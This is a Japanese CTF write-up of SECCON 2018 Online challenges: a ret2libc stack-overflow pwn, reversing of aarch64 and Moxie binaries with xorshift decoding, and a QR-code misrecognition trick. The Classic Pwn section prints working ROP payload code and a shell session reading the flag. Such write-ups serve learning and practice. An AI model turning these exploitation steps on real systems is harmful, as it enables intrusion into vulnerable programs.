SECCON 2018 Online CTF Writeup
開催期間(JST)
10/27 PM3:00 ~ 10/28 PM3:00
結果
・チーム名:wabisabi
・得点:1201 pt
・順位:80/653
解いた問題
・Classic Pwn(Pwn 121pt)
・Runme(Reversing 102pt)
・Special Device File(Reversing 231pt)
・Special Instructions(Reversing 262pt)
・QRChecker(QR 222pt)
取り組んだが解けなかった問題
・History(Forensics 145pt)
・block(Reversing 362pt)
はじめに
今年も参加していました.もう3年くらいは出ているような?気がする.なかなか決勝が遠いです.今回はチームの初期メンバーで参加していましたが,去年より1ptしか得点変わらないのに順位が90位ぐらい上になっているのでやっぱり全体的に難化していたっぽい?各問題の点数はsolve数によって減っていくやつでした.以下,競技中に解けた問題のWriteupです.
Writeup
Classic Pwn(Pwn 121pt)
$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped $ checksec classic_aa9e979fd5c597526ef30c003bffee474b314e22 [*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
64bitでnot stripped.NXビットが有効なのでシェルコード実行とかは難しそう.
$ ./classic_aa9e979fd5c597526ef30c003bffee474b314e22 Classic Pwnable Challenge Local Buffer >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Have a nice pwn!! zsh: segmentation fault (core dumped) ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
Local Bufferに書き込めるが,Buffer Over Flowがある.gdbのpattcでパターンを作り,offsetを調べる.
gdb-peda$ patto AAdAA3AA AAdAA3AA found at offset: 64
RBPの値("AAdAA3AA")へのoffsetが64だったので,これにプラス8バイトした値がreturn addressへのoffsetになる.
RIPを奪えたので,libcのベースアドレスをリークしたい.
既にアドレス解決されている適当なGOT領域を,mainで使われていたputsなどでリークしていく.この時の戻り値はmainにしておく.以下のようなpayloadになる.(popretガジェットのアドレスはgdb-pedaの中で ropgadget
コマンドで調べた)
payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) # return address
リークしたアドレスからoffsetを引いてlibcのベースアドレスを求める.ついでにsystemへのアドレスも求めておく.以下のようになる.
leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"]
そしたら最後にもう1度stack bofさせてRIPをsystem_addrに移し,シェルを起動させる.
payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef)
以下が,完成したexploit.
$ python exploit.py [+] Opening connection to classic.pwn.seccon.jp on port 17354: Done [*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/classic_aa9e979fd5c597526ef30c003bffee474b314e22' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/yyy/ctf/all/seccon2018/pwn/Classic_Pwn/libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled libc_base: 0x7f183f621000 system_addr: 0x7f183f666390 [*] Switching to interactive mode Have a nice pwn!! $ ls classic flag.txt $ cat flag.txt SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
Runme(Reversing 102pt)
力技で解いた...
実行すると以下のような画面が出る.
IDA Demoで見てみる.
赤く囲ったところの値が変化しているだけの同じような関数がいくつもあるので,その値を1つずつ抽出していった.
抽出した値を元に以下のようなスクリプトを書いておわり.
$ python solve.py C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}
Special Device File(Reversing 231pt)
$ file runme_8a10b7425cea81a043db0fd352c82a370a2d3373 runme_8a10b7425cea81a043db0fd352c82a370a2d3373: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, not stripped
問題文には坂井さんのcross-gccへのリンクとか,ここら辺見てみたいなのが書いてあったけど,結局自分で調べたりビルドしたものなどを使った.具体的には,qemu-aarch64を使って,gdbでリモートデバッグしながら解析した.(あとは aarch64-linux-gnu-objdump
で逆アセンブルしたりとか)
$ qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu runme_8a10b7425cea81a043db0fd352c82a370a2d3373
こうすると1234番ポートで待ち受けてくれるので,gdbから接続するとリモートデバッグできる.gdbはgdb-multiarchを使った.
$ gdb-multiarch -q runme_8a10b7425cea81a043db0fd352c82a370a2d3373 Reading symbols from runme_8a10b7425cea81a043db0fd352c82a370a2d3373...(no debugging symbols found)...done. gdb-peda$ set sysroot /usr/aarch64-linux-gnu/ gdb-peda$ target remote :1234 Remote debugging using :1234 Warning: not running or target is remote 0x0000000000001400 in _start () gdb-peda$ b main
あとはステップ実行していくだけ.どうやらSIGSEGVするようなので原因を調べると,スタックに使用しているアドレスが良くないっぽいことがわかったので,スタックのアドレスをspレジスタへ入れていた_startを見てみる.
gdb-peda$ disas Dump of assembler code for function _start: => 0x0000000000001400 <+0>: ldr x0, 0x1500 <_start> 0x0000000000001404 <+4>: mov sp, x0 0x0000000000001408 <+8>: bl 0x16a4 <main>
0x1500にあるバイナリを見てみると変な値になっているので,vmmapとかでメモリマップを調べてwritableな領域(0x1a60とかにした)にバイナリを書き換えた.(あとでわかったけど,これはファイル中の最後ら辺,exitする辺りのコードだったっぽくて正しく終了しなかったけど,解析への影響は特になかった)
再度実行してみると, /dev/xorshift64
というファイルに固定値を書き込もうとしていることがわかった.だけど,うまくシステムコールが呼べていないっぽくて,逆アセンブル結果を眺めていたらシステムコールを呼ぶところがhlt命令になっていて,終了してしまう理由がわかった.それとシステムコール番号もおかしかったので,調べながら修正した.
修正前
修正後
ここまでの修正で,再度解析してみたところ以下のようなことが分かった.
・ /dev/xorshift64
に 0x139408dcbbf7a44
を書き込んでいて,その後それを読み出している( /dev/xorshift64
は実行者権限で作っておいた)
・flagとrandvalという領域が存在し,randvalから取り出した1バイトと 0x139408dcbbf7a44
から取り出した1バイトをXORして,それとflagの1バイトをXORしている
・flagは32文字
だが,これでフラグが出力されるはずだと思って実行してみても 7NPblTJ.smFB
という謎の文字列が出るだけ.これをsubmitしてみても通らないし,ここでものすごく時間を溶かした.
xorshift64というファイル名に注目してみた. どうやら乱数生成の方法にxorshiftという方法があり,ビットごとにxorshift32とかxorshift64などが存在するらしい.
また, 0x139408dcbbf7a44
という値を10進数にした 88172645463325252
を検索してみたところxorshiftのページがヒットした.どうやらこれはシード値っぽい.
ということで,xorshift64で生成した乱数32個の下位1バイトを復号処理に使えばいけるのではと考えて,以下のスクリプトを書いてみたところ正しく復号できた.
python solve.py SECCON{UseTheSpecialDeviceFile}
Special Instructions(Reversing 262pt)
終了1時間前に解けた.
Special Device Fileと同じような問題.ただし,fileコマンドではアーキテクチャが表示されず謎アーキ状態だったが,readelfを使ったところMoxieと出た.readelf優秀.
$ file runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped $ readelf -h runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be ELF ヘッダ: マジック: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 クラス: ELF32 データ: 2 の補数、ビッグエンディアン バージョン: 1 (current) OS/ABI: UNIX - System V ABI バージョン: 0 型: EXEC (実行可能ファイル) マシン: Moxie バージョン: 0x1 エントリポイントアドレス: 0x1400 プログラムの開始ヘッダ: 52 (バイト) セクションヘッダ始点: 1936 (バイト) フラグ: 0x0 このヘッダのサイズ: 52 (バイト) プログラムヘッダサイズ: 32 (バイト) プログラムヘッダ数: 3 セクションヘッダ: 40 (バイト) セクションヘッダサイズ: 9 セクションヘッダ文字列表索引: 8
Moxieなんて聞いたこともなかったのでなんやねんそれと思って調べていて,どうにか解析できる環境が構築できないか探っていた.結局以下のリポジトリのものをビルドして,中に入っていたMoxieに使えるgdbを使って解析した.
とにかく時間がなくて急いでいて,中にqemu-aarch64みたいな感じのqemu-moxieみたいなの入っていないかなと見てみてもなかったので(もしかしたらあったかも),リモートデバッグは諦めて静的解析のみで解いた.
$ moxie-none-moxiebox-gdb -q runme_f3abe874e1d795ffb6a3eed7898ddcbcd929b7be
mainの逆アセンブル結果.
0x000015a2 <+0>: push $sp, $r6 0x000015a4 <+2>: dec $sp, 0x18 0x000015a6 <+4>: ldi.l $r0, 0x92d68ca2 0x000015ac <+10>: jsra 0x154a <set_random_seed> 0x000015b2 <+16>: ldi.l $r6, 0x1480 0x000015b8 <+22>: ldi.l $r0, 0x1 0x000015be <+28>: ldi.l $r1, 0x1654 0x000015c4 <+34>: jsr $r6 0x000015c6 <+36>: ldi.l $r0, 0x1 0x000015cc <+42>: ldi.l $r1, 0x1680 0x000015d2 <+48>: jsr $r6 0x000015d4 <+50>: ldi.l $r0, 0x1 0x000015da <+56>: ldi.l $r1, 0x169c 0x000015e0 <+62>: jsr $r6 0x000015e2 <+64>: ldi.l $r0, 0x1 0x000015e8 <+70>: ldi.l $r1, 0x16ac 0x000015ee <+76>: jsr $r6 0x000015f0 <+78>: ldi.l $r0, 0x1 0x000015f6 <+84>: ldi.l $r1, 0x16c4 0x000015fc <+90>: jsr $r6 0x000015fe <+92>: ldi.l $r0, 0x1 0x00001604 <+98>: ldi.l $r1, 0x16e0 0x0000160a <+104>: jsr $r6 0x0000160c <+106>: ldi.l $r0, 0x1800 0x00001612 <+112>: ldi.l $r1, 0x1820 0x00001618 <+118>: jsra 0x1552 <decode> 0x0000161e <+124>: mov $r1, $r0 0x00001620 <+126>: ldi.l $r0, 0x1 0x00001626 <+132>: jsr $r6 0x00001628 <+134>: ldi.l $r0, 0x1 0x0000162e <+140>: ldi.l $r1, 0x167c 0x00001634 <+146>: jsr $r6 0x00001636 <+148>: xor $r0, $r0 0x00001638 <+150>: jsra 0x144a <exit>
直感でSpecial Device Fileと同じ形式だなと判断して,set_random_seedに渡しているっぽい 0x92d68ca2
を調べたところ,xorshift32のシード値に使われていたので,これはSpecial Device Fileと同じように復号すればいけそうと考えて,同じようにflagとrandvalを抜き出してきてスクリプトを書いた.
$ python solve.py SECCON{MakeSpecialInstructions}
QRChecker(QR 222pt)
終了30分前に解いたやつ.他の問題からの休憩や,ビルド待ちの時にサラっと見てはいたけど,解けてはいなかった.
与えられたURLにアクセスすると以下のようになっていて,pageはQRコードを判定するページ.srcは判定コードのソースコードが見れる.
ソースコードは以下.
#!/usr/bin/env python3 import sys, io, cgi, os from PIL import Image import zbarlight print("Content-Type: text/html") print("") codes = set() sizes = [500, 250, 100, 50] print('<html><body>') print('<form action="' + os.path.basename(__file__) + '" method="post" enctype="multipart/form-data">') print('<input type="file" name="uploadFile"/>') print('<input type="submit" value="submit"/>') print('</form>') print('<pre>') try: form = cgi.FieldStorage() data = form["uploadFile"].file.read(1024 * 256) image = Image.open(io.BytesIO(data)) for sz in sizes: image = image.resize((sz, sz)) result = zbarlight.scan_codes('qrcode', image) if result == None: break if 1 < len(result): break codes.add(result[0]) for c in sorted(list(codes)): print(c.decode()) if 1 < len(codes): print("SECCON{" + open("flag").read().rstrip() + "}") except: pass print('</pre>') print('</body></html>')
リサイズしてzbarlight.scan_codesで読み取って,何も読み取れない(None)であればbreak,2つ以上読み取れてもbreakする.どうすればフラグが出るかというと,codesの中身が2つ以上あればいい.つまり,リサイズしていく課程で読み取る値に変化があればいいっぽい.
そこで,少し前に話題になったQRコードの脆弱性で,読み取る文字が確率で変わるQRコードがいいのでは,と思った.確か神戸大学の先生が発表していたやつ.
しかし,ここにあるQRコードをスクショして使ってみたところ上手くいかない.もう少し誤認識する確率をあげてみる.このQRコードの仕組みは右側のデータコード語部分と左側のエラー訂正コード語の部分で格納されている文字が違っていて,かつ1ヵ所を灰色っぽい曖昧な色で塗っておくと可能,みたいな感じだったと思うので1ドット灰色っぽくなっているところをWindowsのペイントでもう少し濃くしてみた.(著作権の関係がありそうなので画像は無しで)
出来上がったQRコードを投げてみると無事通った.
取り組んだが解けなかった問題
History(Forensics 145pt)
最後までなんのファイルなのかわからなかった...
WriteupみてみるとUSN Journalとか言っていて,この前のDFIRチャレンジで先輩に教えてもらったやつやん...となった.
block(Reversing 362pt)
apkが配布される.CEDEC CHALLENGEで培った知見が役に立つのではと思ってやってみたけどダメだった.
il2cppは使われていなかったのでAssembly-CSharp.dllをdnspyでデコンパイルしてフラグが回転しているのでrotationのところを回転止めて横にずらすなりすればフラグが見えそうだなと思ったけど,書き換えるのが大変そうだった.nopにして回転止めるのは簡単だったけどそこからは手詰まり.
おわりに
毎年順位は上がっているんだけど,今年はようやく100位以内には入れて,しかも80位ということで大躍進できたんじゃないかなと思う.開始前はPwnとか全然準備してないしあかん...と思ってたけどRevが少し解けたので良かった.Pwnは解かれていた他の2つを解いてみようとしたけど,どちらもヒープ臭がしたので速攻で諦めた.Pwn精進していきたい感がある...
Revのいろんなアーキテクチャ問題は面白かった.xorshiftで生成される乱数の下位1ビットを使って復号するということに気づくまで時間がかかったけど,2つの知らないアーキテクチャのアセンブリを読むのは割と楽しかった.
知っている日本チーム数えてみたけど国内決勝は行けなそうなので来年こそは...